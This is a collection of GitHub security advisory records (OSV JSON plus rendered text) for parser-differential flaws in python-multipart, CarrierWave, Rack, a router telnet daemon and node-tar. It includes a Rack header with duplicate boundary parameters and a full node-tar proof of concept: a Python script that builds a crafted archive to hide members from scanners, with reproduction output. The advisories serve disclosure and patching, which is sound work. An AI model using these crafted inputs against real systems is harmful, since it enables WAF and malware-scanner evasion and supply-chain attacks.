"modified": "2026-07-15T22:06:51Z",
"published": "2026-06-15T20:20:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-vffw-93wf-4j4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53537"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kludex/python-multipart"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vffw-93wf-4j4q"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/blob/main/vulns/python-multipart/PYSEC-2026-3041.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/python-multipart"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "python-multipart: Content-Disposition parameter smuggling via RFC 2231/5987 extended parameters"
}
GHSA-VFMV-JFC5-PJJW
Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-03-27 13:00Impact
The vulnerability CVE-2023-49090 wasn't fully addressed.
This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.
This bypassed value can be used to cause XSS.
Patches
Workarounds
Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.
# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
def declared_content_type
@declared_content_type ||
if @file.respond_to?(:content_type) && @file.content_type
Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
end
end
end
# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
def existing_content_type
if @file.respond_to?(:content_type) && @file.content_type
Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
end
end
end
References
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "carrierwave"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "carrierwave"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29034"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-25T19:40:36Z",
"nvd_published_at": "2024-03-24T20:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe vulnerability [CVE-2023-49090](https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj) wasn\u0027t fully addressed.\n\nThis vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what\u0027s allowed by `content_type_allowlist`, by providing multiple values separated by commas.\n\nThis bypassed value can be used to cause XSS.\n\n### Patches\nUpgrade to [3.0.7](https://rubygems.org/gems/carrierwave/versions/3.0.7) or [2.2.6](https://rubygems.org/gems/carrierwave/versions/2.2.6).\n\n### Workarounds\nUse the following monkey patch to let CarrierWave parse the Content-type by using `Marcel::MimeType.for`.\n\n```ruby\n# For CarrierWave 3.x\nCarrierWave::SanitizedFile.class_eval do\n def declared_content_type\n @declared_content_type ||\n if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n end\n end\nend\n```\n\n```ruby\n# For CarrierWave 2.x\nCarrierWave::SanitizedFile.class_eval do\n def existing_content_type\n if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n end\n end\nend\n```\n\n### References\n[OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)\n\n",
"id": "GHSA-vfmv-jfc5-pjjw",
"modified": "2024-03-27T13:00:01Z",
"published": "2024-03-25T19:40:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-vfmv-jfc5-pjjw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29034"
},
{
"type": "WEB",
"url": "https://github.com/carrierwaveuploader/carrierwave/commit/25b1c800d45ef8e78dc445ebe3bd8a6e3f0a3477"
},
{
"type": "PACKAGE",
"url": "https://github.com/carrierwaveuploader/carrierwave"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2024-29034.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CarrierWave content-Type allowlist bypass vulnerability which possibly leads to XSS remained"
}
GHSA-VGPV-F759-9WX3
Vulnerability from github – Published: 2026-04-02 20:30 – Updated: 2026-05-13 16:17Summary
Rack::Multipart::Parser extracts the boundary parameter from multipart/form-data using a greedy regular expression. When a Content-Type header contains multiple boundary parameters, Rack selects the last one rather than the first.
In deployments where an upstream proxy, WAF, or intermediary interprets the first boundary parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated.
Details
Rack identifies the multipart boundary using logic equivalent to:
MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|ni
Because the expression is greedy, it matches the last boundary= parameter in a header such as:
Content-Type: multipart/form-data; boundary=safe; boundary=malicious
As a result, Rack parses the request body using malicious, while another component may interpret the same header using safe.
This creates an interpretation conflict. If an upstream WAF or proxy inspects multipart parts using the first boundary and Rack later parses the body using the last boundary, a client may be able to place malicious form fields or uploaded content in parts that Rack accepts but the upstream component did not inspect as intended.
This issue is most relevant in layered deployments where security decisions are made before the request reaches Rack.
Impact
Applications that accept multipart/form-data uploads behind an inspecting proxy or WAF may be affected.
In such deployments, an attacker may be able to bypass upstream filtering of uploaded files or form fields by sending a request with multiple boundary parameters and relying on the intermediary and Rack to parse the request differently.
The practical impact depends on deployment architecture. If no upstream component relies on a different multipart interpretation, this behavior may not provide meaningful additional attacker capability.
Mitigation
- Update to a patched version of Rack that rejects ambiguous multipart
Content-Typeheaders or parses duplicateboundaryparameters consistently. - Reject requests containing multiple
boundaryparameters. - Normalize or regenerate multipart metadata at the trusted edge before forwarding requests to Rack.
- Avoid relying on upstream inspection of malformed multipart requests unless duplicate parameter handling is explicitly consistent across components.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.beta1"
},
{
"fixed": "3.1.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26961"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:30:40Z",
"nvd_published_at": "2026-04-02T17:16:21Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`Rack::Multipart::Parser` extracts the `boundary` parameter from `multipart/form-data` using a greedy regular expression. When a `Content-Type` header contains multiple `boundary` parameters, Rack selects the last one rather than the first.\n\nIn deployments where an upstream proxy, WAF, or intermediary interprets the first `boundary` parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated.\n\n## Details\n\nRack identifies the multipart boundary using logic equivalent to:\n\n```ruby\nMULTIPART = %r|\\Amultipart/.*boundary=\\\"?([^\\\";,]+)\\\"?|ni\n```\n\nBecause the expression is greedy, it matches the last `boundary=` parameter in a header such as:\n\n```http\nContent-Type: multipart/form-data; boundary=safe; boundary=malicious\n```\n\nAs a result, Rack parses the request body using `malicious`, while another component may interpret the same header using `safe`.\n\nThis creates an interpretation conflict. If an upstream WAF or proxy inspects multipart parts using the first boundary and Rack later parses the body using the last boundary, a client may be able to place malicious form fields or uploaded content in parts that Rack accepts but the upstream component did not inspect as intended.\n\nThis issue is most relevant in layered deployments where security decisions are made before the request reaches Rack.\n\n## Impact\n\nApplications that accept `multipart/form-data` uploads behind an inspecting proxy or WAF may be affected.\n\nIn such deployments, an attacker may be able to bypass upstream filtering of uploaded files or form fields by sending a request with multiple `boundary` parameters and relying on the intermediary and Rack to parse the request differently.\n\nThe practical impact depends on deployment architecture. If no upstream component relies on a different multipart interpretation, this behavior may not provide meaningful additional attacker capability.\n\n## Mitigation\n\n* Update to a patched version of Rack that rejects ambiguous multipart `Content-Type` headers or parses duplicate `boundary` parameters consistently.\n* Reject requests containing multiple `boundary` parameters.\n* Normalize or regenerate multipart metadata at the trusted edge before forwarding requests to Rack.\n* Avoid relying on upstream inspection of malformed multipart requests unless duplicate parameter handling is explicitly consistent across components.",
"id": "GHSA-vgpv-f759-9wx3",
"modified": "2026-05-13T16:17:17Z",
"published": "2026-04-02T20:30:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26961"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-26961.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Rack\u0027s greedy multipart boundary parsing can cause parser differentials and WAF bypass."
}
GHSA-VH93-7CH4-7JJR
Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2022-03-18 00:01A null byte interaction error has been discovered in the code that the telnetd_startup daemon uses to construct a pair of ephemeral passwords that allow a user to spawn a telnet service on the router, and to ensure that the telnet service persists upon reboot. By means of a crafted exchange of UDP packets, an unauthenticated attacker on the local network can leverage this null byte interaction error in such a way as to make those ephemeral passwords predictable (with 1-in-94 odds). Since the attacker must manipulate data processed by the OpenSSL function RSA_public_decrypt(), successful exploitation of this vulnerability depends on the use of an unpadded RSA cipher (CVE-2022-25218).
{
"affected": [],
"aliases": [
"CVE-2022-25219"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-10T17:47:00Z",
"severity": "HIGH"
},
"details": "A null byte interaction error has been discovered in the code that the telnetd_startup daemon uses to construct a pair of ephemeral passwords that allow a user to spawn a telnet service on the router, and to ensure that the telnet service persists upon reboot. By means of a crafted exchange of UDP packets, an unauthenticated attacker on the local network can leverage this null byte interaction error in such a way as to make those ephemeral passwords predictable (with 1-in-94 odds). Since the attacker must manipulate data processed by the OpenSSL function RSA_public_decrypt(), successful exploitation of this vulnerability depends on the use of an unpadded RSA cipher (CVE-2022-25218).",
"id": "GHSA-vh93-7ch4-7jjr",
"modified": "2022-03-18T00:01:19Z",
"published": "2022-03-11T00:02:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25219"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2022-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VMF3-W455-68VH
Vulnerability from github – Published: 2026-06-15 17:19 – Updated: 2026-06-15 17:19Summary
tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).
The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.
This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.
Impact
- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).
- A crafted archive can present one logical member list to a tool that lists or
scans with node-tar and a different member list to GNU tar / libarchive /
Python tarfile (and vice versa). This lets a malicious file be hidden from a
scanner that uses a different parser than the eventual extractor, or hidden
from node-tar-based inspection while still landing on disk via a system
tar. - No authentication is required; the only precondition is that a victim parses an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).
- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.
Vulnerable code (file:line)
src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.
src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:
const header = new Header(chunk, position, this[EX], this[GEX])
and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:
if (entry.meta) {
// L / K / x / g metadata entries: this[EX] is left intact here
if (entry.size > this.maxMetaEntrySize) {
entry.ignore = true
this[STATE] = 'ignore'
entry.resume()
} else if (entry.size > 0) {
this[META] = ''
entry.on('data', c => (this[META] += c))
this[STATE] = 'meta'
}
} else {
this[EX] = undefined // EX cleared only once a real file entry is reached
}
When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.
The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).
How input reaches the sink
tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.
Proof of concept
Archive layout (all standard, GNU-tar-producible blocks):
block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x payload : the single PAX record "...size=2048\n"
block 2 : L header (GNU long-name '././@LongLink'), real size = 13
block 3 : L payload : "longname.txt\0" (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
Generator (make_tar.py, pure stdlib, no external deps):
def hdr(name, size, typeflag):
h = bytearray(512); name = name[:100]; h[0:len(name)] = name
h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
h[148:156] = b' ' * 8
cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' * ((512 - len(d) % 512) % 512)
def pax_record(key, val): # length-prefixed PAX record "LEN key=val\n"
body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n: break
n = len(s)
return s
pax = pax_record('size', 2048) # malicious: claim size=2048 for the "next" entry
out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0') + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0') + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.
End-to-end reproduction (against pinned version tar@7.5.15, latest release)
Install the published package into a clean project and parse both archives:
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
e2e.mjs:
import * as tar from 'tar'
async function listEntries(f){
const got=[], warns=[]
await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
onwarn:(code,_msg)=>warns.push(code) })
return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))
Verbatim output:
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===
[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
tar.list() entries : []
tar.list() warnings: ["TAR_ENTRY_INVALID"]
[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
tar.list() warnings: []
Reference parsers on the same pax-desync.tar:
$ tar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar
$ bsdtar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive
$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt'] # Python tarfile
Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).
Suggested fix
When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.
A fix PR is being prepared against a private fork and will be linked here.
Fix PR
To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).
Credits
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.15"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53655"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:19:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`tar` (node-tar) applies a PAX extended header\u0027s `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar\u0027s\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware/secret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`\u0027s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as\n the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n scans with node-tar and a different member list to GNU tar / libarchive /\n Python tarfile (and vice versa). This lets a malicious file be hidden from a\n scanner that uses a different parser than the eventual extractor, or hidden\n from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n from untrusted sources (package registries, user uploads, CI artifacts,\n container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n RCE; it is a building block for supply-chain / scanner-evasion attacks rather\n than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src/header.ts` (compiled to `dist/esm/header.js:49` and\n`dist/commonjs/header.js:85` in the published `tar@7.5.15`):\n\n```ts\n// Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`/`gex` is applied\nunconditionally to whatever header is being decoded next \u2014 there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`/`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n // L / K / x / g metadata entries: this[EX] is left intact here\n if (entry.size \u003e this.maxMetaEntrySize) {\n entry.ignore = true\n this[STATE] = \u0027ignore\u0027\n entry.resume()\n } else if (entry.size \u003e 0) {\n this[META] = \u0027\u0027\n entry.on(\u0027data\u0027, c =\u003e (this[META] += c))\n this[STATE] = \u0027meta\u0027\n }\n} else {\n this[EX] = undefined // EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -\u003e L (GNU long-name) -\u003e file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`/`remain`\nbecomes `N` instead of the `L` payload\u0027s true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`/overrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied\narchive \u2014 `tar.list`, `tar.extract`, or piping into the streaming `Parser` \u2014\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x header (PAX local extended, typeflag \u0027x\u0027), its own size = len(pax body)\nblock 1 : x payload : the single PAX record \"...size=2048\\n\"\nblock 2 : L header (GNU long-name \u0027././@LongLink\u0027), real size = 13\nblock 3 : L payload : \"longname.txt\\0\" (the long name for the next file)\nblock 4 : file header \u0027file_a\u0027, size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header \u0027file_b\u0027, size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n h[100:108] = b\u00270000644\\0\u0027; h[108:116] = b\u00270000000\\0\u0027; h[116:124] = b\u00270000000\\0\u0027\n h[124:136] = (\u0027%011o\\0\u0027 % size).encode(); h[136:148] = b\u002700000000000\\0\u0027\n h[156:157] = typeflag; h[257:263] = b\u0027ustar\\0\u0027; h[263:265] = b\u002700\u0027\n h[148:156] = b\u0027 \u0027 * 8\n cs = sum(h); h[148:156] = (\u0027%06o\\0 \u0027 % cs).encode()\n return bytes(h)\n\ndef pad(d):\n return d + b\u0027\\0\u0027 * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val): # length-prefixed PAX record \"LEN key=val\\n\"\n body = b\u0027 %s=%s\\n\u0027 % (key.encode(), str(val).encode()); n = len(body)\n while True:\n s = str(n).encode() + body\n if len(s) == n: break\n n = len(s)\n return s\n\npax = pax_record(\u0027size\u0027, 2048) # malicious: claim size=2048 for the \"next\" entry\nout = hdr(b\u0027PaxHeaders/x\u0027, len(pax), b\u0027x\u0027) + pad(pax)\nout += hdr(b\u0027././@LongLink\u0027, 13, b\u0027L\u0027) + pad(b\u0027longname.txt\\0\u0027)\nout += hdr(b\u0027file_a\u0027, 16, b\u00270\u0027) + pad(b\u0027AAAA_file_a_body\u0027)\nout += hdr(b\u0027file_b\u0027, 16, b\u00270\u0027) + pad(b\u0027BBBB_file_b_body\u0027)\nout += b\u0027\\0\u0027 * 1024\nopen(\u0027pax-desync.tar\u0027, \u0027wb\u0027).write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record(\u0027comment\u0027, \u0027x\u0027)` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y \u003e/dev/null \u0026\u0026 npm install tar@7.5.15\n$ node -e \"console.log(require(\u0027tar/package.json\u0027).version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules/tar/dist/esm/header.js\n49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from \u0027tar\u0027\nasync function listEntries(f){\n const got=[], warns=[]\n await tar.list({ file:f, onReadEntry:e=\u003e{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n onwarn:(code,_msg)=\u003ewarns.push(code) })\n return { got, warns }\n}\nconst mal = await listEntries(\u0027pax-desync.tar\u0027)\nconsole.log(\u0027MALICIOUS entries :\u0027, JSON.stringify(mal.got), \u0027warnings:\u0027, JSON.stringify(mal.warns))\nconst ctl = await listEntries(\u0027pax-control.tar\u0027)\nconsole.log(\u0027CONTROL entries :\u0027, JSON.stringify(ctl.got), \u0027warnings:\u0027, JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -\u003e L(GNU longname \"longname.txt\") -\u003e file_a(16B) -\u003e file_b(16B)\n tar.list() entries : []\n tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open(\u0027pax-desync.tar\u0027).getmembers()])\"\n[\u0027longname.txt\u0027] # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises 